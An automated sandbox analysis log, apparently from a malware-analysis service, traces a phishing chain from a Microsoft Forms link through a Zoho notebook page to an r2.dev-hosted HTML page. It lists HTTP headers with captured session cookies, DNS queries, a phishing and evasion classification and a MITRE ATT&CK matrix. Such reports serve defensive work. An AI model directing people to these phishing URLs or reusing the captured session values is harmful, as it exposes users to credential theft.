Source: global traffic	HTTP traffic detected: GET /public/icon-assets/sprite-icn-note-options.png HTTP/1.1Host: notebook.zohopublic.comConnection: keep-alivesec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://notebook.zohopublic.com/public/consolidated_files/css/initial_load_css.cssAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9Cookie: zalb_68ff1bd267=9deb40e14088d8a543d2e5d0e04edd6c; znbcsr=2e843c66-67da-4982-9023-cf379347c484; _zcsr_tmp=2e843c66-67da-4982-9023-cf379347c484; JSESSIONID=4E089F0F2CE1EBBA54FF4AA079BA4853
Source: global traffic	HTTP traffic detected: GET /public/icon-assets/notebook-icon.png HTTP/1.1Host: notebook.zohopublic.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptySec-Fetch-Storage-Access: activeAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9Cookie: zalb_68ff1bd267=9deb40e14088d8a543d2e5d0e04edd6c; znbcsr=2e843c66-67da-4982-9023-cf379347c484; _zcsr_tmp=2e843c66-67da-4982-9023-cf379347c484; JSESSIONID=4E089F0F2CE1EBBA54FF4AA079BA4853
Source: global traffic	HTTP traffic detected: GET /public/icon-assets/public-icn-refresh.png HTTP/1.1Host: notebook.zohopublic.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptySec-Fetch-Storage-Access: activeAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9Cookie: zalb_68ff1bd267=9deb40e14088d8a543d2e5d0e04edd6c; znbcsr=2e843c66-67da-4982-9023-cf379347c484; _zcsr_tmp=2e843c66-67da-4982-9023-cf379347c484; JSESSIONID=4E089F0F2CE1EBBA54FF4AA079BA4853
Source: global traffic	HTTP traffic detected: GET /public/icon-assets/icn-flag-abuse.png HTTP/1.1Host: notebook.zohopublic.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptySec-Fetch-Storage-Access: activeAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9Cookie: zalb_68ff1bd267=9deb40e14088d8a543d2e5d0e04edd6c; znbcsr=2e843c66-67da-4982-9023-cf379347c484; _zcsr_tmp=2e843c66-67da-4982-9023-cf379347c484; JSESSIONID=4E089F0F2CE1EBBA54FF4AA079BA4853
Source: global traffic	HTTP traffic detected: GET /public/icon-assets/sprite-icn-note-options.png HTTP/1.1Host: notebook.zohopublic.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptySec-Fetch-Storage-Access: activeAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9Cookie: zalb_68ff1bd267=9deb40e14088d8a543d2e5d0e04edd6c; znbcsr=2e843c66-67da-4982-9023-cf379347c484; _zcsr_tmp=2e843c66-67da-4982-9023-cf379347c484; JSESSIONID=4E089F0F2CE1EBBA54FF4AA079BA4853
Source: global traffic	HTTP traffic detected: GET /api/v1/public/notecards/4tlqc3f816817c7c1468c9db5fb543f497f8b/resources/4tlqcdd304f1c054a40ac8cfdadaec0e2604b HTTP/1.1Host: notebook.zohopublic.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptySec-Fetch-Storage-Access: activeAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9Cookie: zalb_68ff1bd267=9deb40e14088d8a543d2e5d0e04edd6c; znbcsr=2e843c66-67da-4982-9023-cf379347c484; _zcsr_tmp=2e843c66-67da-4982-9023-cf379347c484; JSESSIONID=4E089F0F2CE1EBBA54FF4AA079BA4853
Source: global traffic	HTTP traffic detected: GET /public/favicon.ico HTTP/1.1Host: notebook.zohopublic.comConnection: keep-alivesec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://notebook.zohopublic.com/public/notes/4tlqc3f816817c7c1468c9db5fb543f497f8bAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9Cookie: zalb_68ff1bd267=9deb40e14088d8a543d2e5d0e04edd6c; znbcsr=2e843c66-67da-4982-9023-cf379347c484; _zcsr_tmp=2e843c66-67da-4982-9023-cf379347c484; JSESSIONID=4E089F0F2CE1EBBA54FF4AA079BA4853
Source: global traffic	HTTP traffic detected: GET /public/favicon.ico HTTP/1.1Host: notebook.zohopublic.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptySec-Fetch-Storage-Access: activeAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9Cookie: zalb_68ff1bd267=9deb40e14088d8a543d2e5d0e04edd6c; znbcsr=2e843c66-67da-4982-9023-cf379347c484; _zcsr_tmp=2e843c66-67da-4982-9023-cf379347c484; JSESSIONID=4E089F0F2CE1EBBA54FF4AA079BA4853
Source: global traffic	HTTP traffic detected: GET /MLLOC.html HTTP/1.1Host: pub-28a12700d4f7494a819553d19a1c20f0.r2.devConnection: keep-alivesec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Sec-Fetch-Site: cross-siteSec-Fetch-Mode: navigateSec-Fetch-User: ?1Sec-Fetch-Dest: documentAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /ajax/libs/crypto-js/4.1.1/crypto-js.min.js HTTP/1.1Host: cdnjs.cloudflare.comConnection: keep-alivesec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptSec-Fetch-Storage-Access: activeReferer: https://pub-28a12700d4f7494a819553d19a1c20f0.r2.dev/Accept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /jquery-3.6.0.min.js HTTP/1.1Host: code.jquery.comConnection: keep-alivesec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"Intervention: <https://www.chromestatus.com/feature/5718547946799104>; level="warning"sec-ch-ua-mobile: ?0Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptSec-Fetch-Storage-Access: activeReferer: https://pub-28a12700d4f7494a819553d19a1c20f0.r2.dev/Accept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /fent/randexp.js/releases/download/v0.4.3/randexp.min.js HTTP/1.1Host: github.comConnection: keep-alivesec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"Intervention: <https://www.chromestatus.com/feature/5718547946799104>; level="warning"sec-ch-ua-mobile: ?0Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptSec-Fetch-Storage-Access: activeReferer: https://pub-28a12700d4f7494a819553d19a1c20f0.r2.dev/Accept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /github-production-release-asset-2e65be/2925284/11f3acf8-4ccb-11e6-8ce4-c179c0a212de?X-Amz-Algorithm=AWS4-HMAC-SHA256&X-Amz-Credential=releaseassetproduction%2F20250422%2Fus-east-1%2Fs3%2Faws4_request&X-Amz-Date=20250422T090114Z&X-Amz-Expires=300&X-Amz-Signature=12f89cef05f42f51fc2fba37322c90276d7e8e9215c2ee77ca915869be2e9e79&X-Amz-SignedHeaders=host&response-content-disposition=attachment%3B%20filename%3Drandexp.min.js&response-content-type=application%2Foctet-stream HTTP/1.1Host: objects.githubusercontent.comConnection: keep-alivesec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"Intervention: <https://www.chromestatus.com/feature/5718547946799104>; level="warning"sec-ch-ua-mobile: ?0Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptSec-Fetch-Storage-Access: activeReferer: https://pub-28a12700d4f7494a819553d19a1c20f0.r2.dev/Accept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /favicon.ico HTTP/1.1Host: pub-28a12700d4f7494a819553d19a1c20f0.r2.devConnection: keep-alivesec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://pub-28a12700d4f7494a819553d19a1c20f0.r2.dev/MLLOC.htmlAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /complete/search?client=chrome-omni&gs_ri=chrome-ext-ansg&xssi=t&q=&oit=0&gs_rn=42&sugkey=AIzaSyA2KlwBX3mkFo30om9LUFYQhpqLoa_BNhE HTTP/1.1Host: www.google.comConnection: keep-aliveX-Client-Data: CLbgygE=Sec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36Accept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9

Source: global traffic	DNS traffic detected: DNS query: forms.office.com
Source: global traffic	DNS traffic detected: DNS query: www.google.com
Source: global traffic	DNS traffic detected: DNS query: c.office.com
Source: global traffic	DNS traffic detected: DNS query: forms.cloud.microsoft
Source: global traffic	DNS traffic detected: DNS query: cdn.forms.office.net
Source: global traffic	DNS traffic detected: DNS query: notebook.zohopublic.com
Source: global traffic	DNS traffic detected: DNS query: pub-28a12700d4f7494a819553d19a1c20f0.r2.dev
Source: global traffic	DNS traffic detected: DNS query: cdnjs.cloudflare.com
Source: global traffic	DNS traffic detected: DNS query: code.jquery.com
Source: global traffic	DNS traffic detected: DNS query: github.com
Source: global traffic	DNS traffic detected: DNS query: objects.githubusercontent.com

Source: global traffic

HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Tue, 22 Apr 2025 09:01:16 GMTContent-Type: text/htmlContent-Length: 27150Connection: closeServer: cloudflareCF-RAY: 9343ef83db332b7a-LAX

Source: unknown	Network traffic detected: HTTP traffic on port 49708 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49766 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49746 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49781 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49769 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49720 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49738
Source: unknown	Network traffic detected: HTTP traffic on port 49717 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49737
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49736
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49735
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49734
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49732
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49731
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49730
Source: unknown	Network traffic detected: HTTP traffic on port 49732 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49711 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49703 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49784 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49749 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49763 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49752 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49777 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49714 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49727
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49725
Source: unknown	Network traffic detected: HTTP traffic on port 49735 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49724
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49723
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49722
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49721
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49720
Source: unknown	Network traffic detected: HTTP traffic on port 49731 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49712 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49760 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49745 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49805 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49719
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49718
Source: unknown	Network traffic detected: HTTP traffic on port 49751 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49717
Source: unknown	Network traffic detected: HTTP traffic on port 49715 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49716
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49715
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49714
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49713
Source: unknown	Network traffic detected: HTTP traffic on port 49774 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49712
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49711
Source: unknown	Network traffic detected: HTTP traffic on port 49757 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49782 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49710
Source: unknown	Network traffic detected: HTTP traffic on port 49734 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49673
Source: unknown	Network traffic detected: HTTP traffic on port 49765 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49768 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49723 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49708
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49707
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49704
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49703
Source: unknown	Network traffic detected: HTTP traffic on port 49737 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49702
Source: unknown	Network traffic detected: HTTP traffic on port 49771 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49710 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49779 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49785
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49784
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49783
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49782
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49781
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49780
Source: unknown	Network traffic detected: HTTP traffic on port 49727 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49704 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49785 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49762 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49776 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49810 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49713 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49816
Source: unknown	Network traffic detected: HTTP traffic on port 49736 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49759 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49753 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49779
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49778
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49777
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49810
Source: unknown	Network traffic detected: HTTP traffic on port 49816 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49776
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49775
Source: unknown	Network traffic detected: HTTP traffic on port 49707 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49774
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49773
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49771
Source: unknown	Network traffic detected: HTTP traffic on port 49679 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49770
Source: unknown	Network traffic detected: HTTP traffic on port 49724 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49671 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49767 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49780 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49721 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49805
Source: unknown	Network traffic detected: HTTP traffic on port 49773 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49718 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49769
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49768
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49767
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49766
Source: unknown	Network traffic detected: HTTP traffic on port 49758 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49765
Source: unknown	Network traffic detected: HTTP traffic on port 49783 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49763
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49762
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49760
Source: unknown	Network traffic detected: HTTP traffic on port 49702 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49725 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49770 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49719 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49722 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49759
Source: unknown	Network traffic detected: HTTP traffic on port 49778 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49758
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49757
Source: unknown	Network traffic detected: HTTP traffic on port 49738 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49753
Source: unknown	Network traffic detected: HTTP traffic on port 49673 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49752
Source: unknown	Network traffic detected: HTTP traffic on port 49730 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49751
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49750
Source: unknown	Network traffic detected: HTTP traffic on port 49775 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49716 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49750 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49749
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49746
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49745

Source: unknown	HTTPS traffic detected: 13.107.6.194:443 -> 192.168.2.16:49702 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 13.107.6.194:443 -> 192.168.2.16:49703 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 13.107.6.194:443 -> 192.168.2.16:49704 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 13.107.6.194:443 -> 192.168.2.16:49708 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 13.107.6.194:443 -> 192.168.2.16:49714 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.69.4:443 -> 192.168.2.16:49719 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 20.125.62.241:443 -> 192.168.2.16:49724 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 13.107.6.194:443 -> 192.168.2.16:49731 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 20.125.62.241:443 -> 192.168.2.16:49732 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 23.220.73.79:443 -> 192.168.2.16:49736 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 13.107.6.194:443 -> 192.168.2.16:49735 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 23.220.73.78:443 -> 192.168.2.16:49738 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 204.141.42.97:443 -> 192.168.2.16:49745 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 204.141.42.97:443 -> 192.168.2.16:49746 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 204.141.42.97:443 -> 192.168.2.16:49750 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 204.141.42.97:443 -> 192.168.2.16:49751 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 204.141.42.97:443 -> 192.168.2.16:49749 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 204.141.42.97:443 -> 192.168.2.16:49752 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 204.141.42.97:443 -> 192.168.2.16:49753 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 204.141.42.97:443 -> 192.168.2.16:49762 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 204.141.42.97:443 -> 192.168.2.16:49763 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 204.141.42.97:443 -> 192.168.2.16:49765 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 204.141.42.97:443 -> 192.168.2.16:49766 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 162.159.140.237:443 -> 192.168.2.16:49781 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 162.159.140.237:443 -> 192.168.2.16:49780 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.17.25.14:443 -> 192.168.2.16:49782 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 151.101.130.137:443 -> 192.168.2.16:49783 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 140.82.113.4:443 -> 192.168.2.16:49784 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 185.199.109.133:443 -> 192.168.2.16:49785 version: TLS 1.2

Source: classification engine

Classification label: mal72.phis.evad.win@24/38@32/237

Source: unknown	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized "about:blank"
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --no-pre-read-main-dll --field-trial-handle=1956,i,2677809220519001623,3696066424040775625,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction --variations-seed-version --mojo-platform-channel-handle=2208 /prefetch:3
Source: unknown	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" "https://forms.office.com/e/UGN9kJGkPb"
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --no-pre-read-main-dll --field-trial-handle=1956,i,2677809220519001623,3696066424040775625,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction --variations-seed-version --mojo-platform-channel-handle=2208 /prefetch:3
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown

Source: Window Recorder

Window detected: More than 3 window changes detected

Malware Analysis System Evasion

Yara detected AntiDebug via timestamp check

Source: Yara match	File source: 2.29.d.script.csv, type: HTML
Source: Yara match	File source: 2.33..script.csv, type: HTML
Source: Yara match	File source: 2.3.pages.csv, type: HTML

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	1 Scripting	Valid Accounts	Windows Management Instrumentation	1 Scripting	1 Process Injection	1 Virtualization/Sandbox Evasion	OS Credential Dumping	1 Virtualization/Sandbox Evasion	Remote Services	Data from Local System	1 Encrypted Channel	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	Scheduled Task/Job	Boot or Logon Initialization Scripts	1 Extra Window Memory Injection	1 Process Injection	LSASS Memory	Application Window Discovery	Remote Desktop Protocol	Data from Removable Media	3 Non-Application Layer Protocol	Exfiltration Over Bluetooth	Network Denial of Service
